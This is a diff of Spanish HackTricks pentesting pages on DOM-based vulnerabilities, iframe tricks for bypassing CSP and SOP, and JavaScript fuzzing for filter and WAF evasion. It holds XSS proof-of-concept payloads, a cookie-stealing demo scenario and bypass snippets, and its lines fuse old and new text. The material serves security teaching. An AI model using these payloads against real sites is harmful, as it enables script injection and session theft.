El método `postMessage()` para enviar mensajes web puede llevar a vulnerabilidades si el escuchador de eventos para recibir mensajes maneja los datos entrantes de una manera insegura. El método `postMessage()` para enviar mensajes web puede llevar a vulnerabilidades si el listener de eventos para recibir mensajes maneja los datos entrantes de manera insegura.
### Manipulación de datos del DOM ### Manipulación de datos DOM
Desde: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
Las vulnerabilidades de **manipulación de datos del DOM** surgen cuando un script escribe **datos controlados por el atacante en un campo dentro del DOM** que se utiliza en la interfaz de usuario visible o la lógica del lado del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si es visitada por otro usuario, puede alterar la apariencia o el comportamiento de la interfaz de usuario del lado del cliente. **Las vulnerabilidades de manipulación de datos DOM** surgen cuando un script escribe **datos controlables por el atacante en un campo dentro del DOM** que se utiliza dentro de la UI visible o la lógica del lado del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si es visitada por otro usuario, puede alterar la apariencia o el comportamiento de la UI del lado del cliente.
Fuentes: Sinks:
```javascript ```javascript
scriptElement.src scriptElement.src
scriptElement.text scriptElement.text
@ -291,13 +294,13 @@ document.implementation.createHTMLDocument()
history.pushState() history.pushState()
history.replaceState() history.replaceState()
``` ```
### Denegación de Servicio ### Denial of Service
Desde: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
Las vulnerabilidades de **denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlados por el atacante de manera insegura a una API de plataforma problemática**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Estas vulnerabilidades pueden tener efectos secundarios significativos, como el navegador restringiendo la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o al terminar scripts ocupados. **Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden llevar a que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o termine scripts ocupados.
Fuentes: Sinks:
```javascript ```javascript
requestFileSystem() requestFileSystem()
RegExp() RegExp()
@ -308,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Iframes en XSS, CSP y SOP # Iframes en XSS, CSP y SOP
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Iframes en XSS ## Iframes en XSS
@ -20,7 +23,7 @@ Hay 3 formas de indicar el contenido de una página en un iframe:
* A través de `src` indicando el contenido usando el protocolo `data:` * A través de `src` indicando el contenido usando el protocolo `data:`
* A través de `srcdoc` indicando el contenido * A través de `srcdoc` indicando el contenido
**Accediendo a variables del padre e hijo** **Accediendo a las variables de Padre e Hijo**
```html ```html
<html> <html>
<script> <script>
@ -51,18 +54,18 @@ var secret="child secret";
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
Si accedes al html anterior a través de un servidor http (como `python3 -m http.server`) notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo prevenga). **El padre no podrá acceder a la variable `secret` dentro de ningún iframe** y **solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto** en la ventana original.\ Si accedes al html anterior a través de un servidor http (como `python3 -m http.server`), notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo impida). **el padre no podrá acceder a la var `secret` dentro de ningún iframe** y **solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto** en la ventana original.\
Observa cómo se considera que if4 tiene un origen `null`. Nota cómo if4 se considera que tiene origen `null`.
### Iframes con CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> ### Iframes con CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %} {% hint style="info" %}
Por favor, observa cómo en los siguientes bypasses la respuesta a la página con iframe no contiene ninguna cabecera CSP que prevenga la ejecución de JS. Por favor, nota cómo en los siguientes bypasses la respuesta a la página enmarcada no contiene ningún encabezado CSP que impida la ejecución de JS.
{% endhint %} {% endhint %}
El valor `self` de `script-src` no permitirá la ejecución del código JS utilizando el protocolo `data:` o el atributo `srcdoc`.\ El valor `self` de `script-src` no permitirá la ejecución del código JS utilizando el protocolo `data:` o el atributo `srcdoc`.\
Sin embargo, incluso el valor `none` del CSP permitirá la ejecución de los iframes que colocan una URL (completa o solo la ruta) en el atributo `src`.\ Sin embargo, incluso el valor `none` del CSP permitirá la ejecución de los iframes que pongan una URL (completa o solo la ruta) en el atributo `src`.\
Por lo tanto, es posible evadir el CSP de una página con: Por lo tanto, es posible eludir el CSP de una página con:
```html ```html
<html> <html>
<head> <head>
@ -77,12 +80,12 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html> </html>
``` ```
Observa cómo la **CSP anterior solo permite la ejecución del script en línea**.\ Note cómo el **CSP anterior solo permite la ejecución del script en línea**.\
Sin embargo, **solo los scripts `if1` e `if2` se ejecutarán pero solo `if1` podrá acceder al secreto principal**. Sin embargo, **solo se van a ejecutar los scripts `if1` y `if2`, pero solo `if1` podrá acceder al secreto del padre**.
![](<../../.gitbook/assets/image (372).png>) ![](<../../.gitbook/assets/image (372).png>)
Por lo tanto, es posible **burlar una CSP si puedes cargar un archivo JS en el servidor y cargarlo a través de un iframe incluso con `script-src 'none'`**. Esto también **potencialmente se puede hacer abusando de un punto final JSONP del mismo sitio**. Por lo tanto, es posible **eludir un CSP si puedes subir un archivo JS al servidor y cargarlo a través de un iframe incluso con `script-src 'none'`**. Esto **potencialmente también se puede hacer abusando de un endpoint JSONP de mismo sitio**.
Puedes probar esto con el siguiente escenario donde se roba una cookie incluso con `script-src 'none'`. Simplemente ejecuta la aplicación y accede a ella con tu navegador: Puedes probar esto con el siguiente escenario donde se roba una cookie incluso con `script-src 'none'`. Simplemente ejecuta la aplicación y accede a ella con tu navegador:
```python ```python
@ -104,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### Otros payloads encontrados en la naturaleza <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> ### Otros Payloads encontrados en la naturaleza <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -120,21 +123,21 @@ El contenido dentro de un iframe puede estar sujeto a restricciones adicionales
Cuando se utiliza, el atributo `sandbox` impone varias limitaciones: Cuando se utiliza, el atributo `sandbox` impone varias limitaciones:
* El contenido se trata como si proviniera de una fuente única. * El contenido se trata como si proviniera de una fuente única.
* Se bloquea cualquier intento de enviar formularios. * Cualquier intento de enviar formularios es bloqueado.
* Se prohíbe la ejecución de scripts. * La ejecución de scripts está prohibida.
* Se deshabilita el acceso a ciertas APIs. * El acceso a ciertas APIs está deshabilitado.
* Evita que los enlaces interactúen con otros contextos de navegación. * Evita que los enlaces interactúen con otros contextos de navegación.
* No se permite el uso de complementos a través de `<embed>`, `<object>`, `<applet>`, u etiquetas similares. * El uso de plugins a través de `<embed>`, `<object>`, `<applet>` o etiquetas similares está prohibido.
* Se evita la navegación del contexto de navegación de nivel superior del contenido por el propio contenido. * Se impide que el contenido navegue por el contexto de navegación de nivel superior por sí mismo.
* Se bloquean las funciones que se activan automáticamente, como la reproducción de video o el enfoque automático de controles de formulario. * Las características que se activan automáticamente, como la reproducción de video o el enfoque automático de los controles de formulario, están bloqueadas.
El valor del atributo puede dejarse vacío (`sandbox=""`) para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, se puede establecer en una lista de valores específicos separados por espacios que eximen al iframe de ciertas restricciones. El valor del atributo se puede dejar vacío (`sandbox=""`) para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, se puede establecer en una lista de valores específicos separados por espacios que eximan al iframe de ciertas restricciones.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
``` ```
## Iframes en SOP ## Iframes en SOP
Verifica las siguientes páginas: Consulta las siguientes páginas:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} {% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md) [bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
@ -152,14 +155,17 @@ Verifica las siguientes páginas:
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,31 +1,37 @@
# Desbordamiento de Enteros # Desbordamiento de Enteros
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
Check: Revisa:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %} {% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md) [integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Trucos JS Varios e Información Relevante # Misc JS Tricks & Relevant Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Fuzzing de Javascript ## Javascript Fuzzing
### Caracteres de Comentario JS Válidos ### Valid JS Comment Chars
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
} }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
``` ```
### Espacios JS válidos en la llamada de función ### Espacios JS Válidos en la llamada a la función
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -121,7 +124,7 @@ console.log(log) //34,39,47,96
``` ```
### **Surrogate Pairs BF** ### **Surrogate Pairs BF**
Esta técnica no será muy útil para XSS, pero podría ser útil para evadir protecciones de WAF. Este código de Python recibe como entrada 2 bytes y busca pares sustitutos que tengan el primer byte como el último byte del par sustituto alto y el último byte como el último byte del par sustituto bajo. Esta técnica no será muy útil para XSS, pero podría ser útil para eludir las protecciones de WAF. Este código de python recibe como entrada 2 bytes y busca pares de sustitutos que tengan el primer byte como el último byte del par de sustitutos alto y el último byte como el último byte del par de sustitutos bajo.
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -137,7 +140,7 @@ Más información:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) * [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding) * [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### Fuzzing del Protocolo `javascript{}:` ### `javascript{}:` Fuzzing de Protocolo
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[]; log=[];
@ -160,7 +163,7 @@ document.body.append(anchor)
// Another way to test // Another way to test
<a href="&#12;javascript:alert(1337)">Test</a> <a href="&#12;javascript:alert(1337)">Test</a>
``` ```
### Fuzzing de URL ### URL Fuzzing
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -186,7 +189,7 @@ log.push(i);
} }
console.log(log) //9,10,13,47,92 console.log(log) //9,10,13,47,92
``` ```
### Fuzzing HTML ### HTML Fuzzing
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -206,14 +209,14 @@ console.log(log)//33,45,62
La herramienta **Hackability inspector** de Portswigger ayuda a **analizar** los **atributos** de un objeto javascript. Verifica: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) La herramienta **Hackability inspector** de Portswigger ayuda a **analizar** los **atributos** de un objeto javascript. Verifica: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **Archivos .map js** ## **.map archivos js**
* Truco para descargar archivos .map js: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) * Truco para descargar archivos .map js: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* Puedes usar esta herramienta para analizar estos archivos [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) * Puedes usar esta herramienta para analizar estos archivos [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## Asignación "--" ## "--" Asignación
El operador de decremento `--` también es una asignación. Este operador toma un valor y luego lo decrementa en uno. Si ese valor no es un número, se establecerá como `NaN`. Esto se puede utilizar para **eliminar el contenido de variables del entorno**. El operador de decremento `--` también es una asignación. Este operador toma un valor y luego lo decrementa en uno. Si ese valor no es un número, se establecerá en `NaN`. Esto se puede usar para **eliminar el contenido de las variables del entorno**.
![](<../../.gitbook/assets/image (993).png>) ![](<../../.gitbook/assets/image (993).png>)
@ -224,7 +227,7 @@ El operador de decremento `--` también es una asignación. Este operador toma u
### .call y .apply ### .call y .apply
El método **`.call`** de una función se utiliza para **ejecutar la función**.\ El método **`.call`** de una función se utiliza para **ejecutar la función**.\
El **primer argumento** que espera por defecto es el **valor de `this`** y si no se proporciona **nada**, **`window`** será ese valor (a menos que se use **`strict mode`**). El **primer argumento** que espera por defecto es el **valor de `this`** y si **nada** se proporciona, **`window`** será ese valor (a menos que se use **`modo estricto`**).
```javascript ```javascript
function test_call(){ function test_call(){
console.log(this.value); //baz console.log(this.value); //baz
@ -257,7 +260,7 @@ test_apply.apply(null, ["arg1", "arg2"])
``` ```
### Funciones de flecha ### Funciones de flecha
Las funciones de flecha te permiten generar funciones en una sola línea de forma más sencilla (si las entiendes) Las funciones de flecha te permiten generar funciones en una sola línea más fácilmente (si las entiendes)
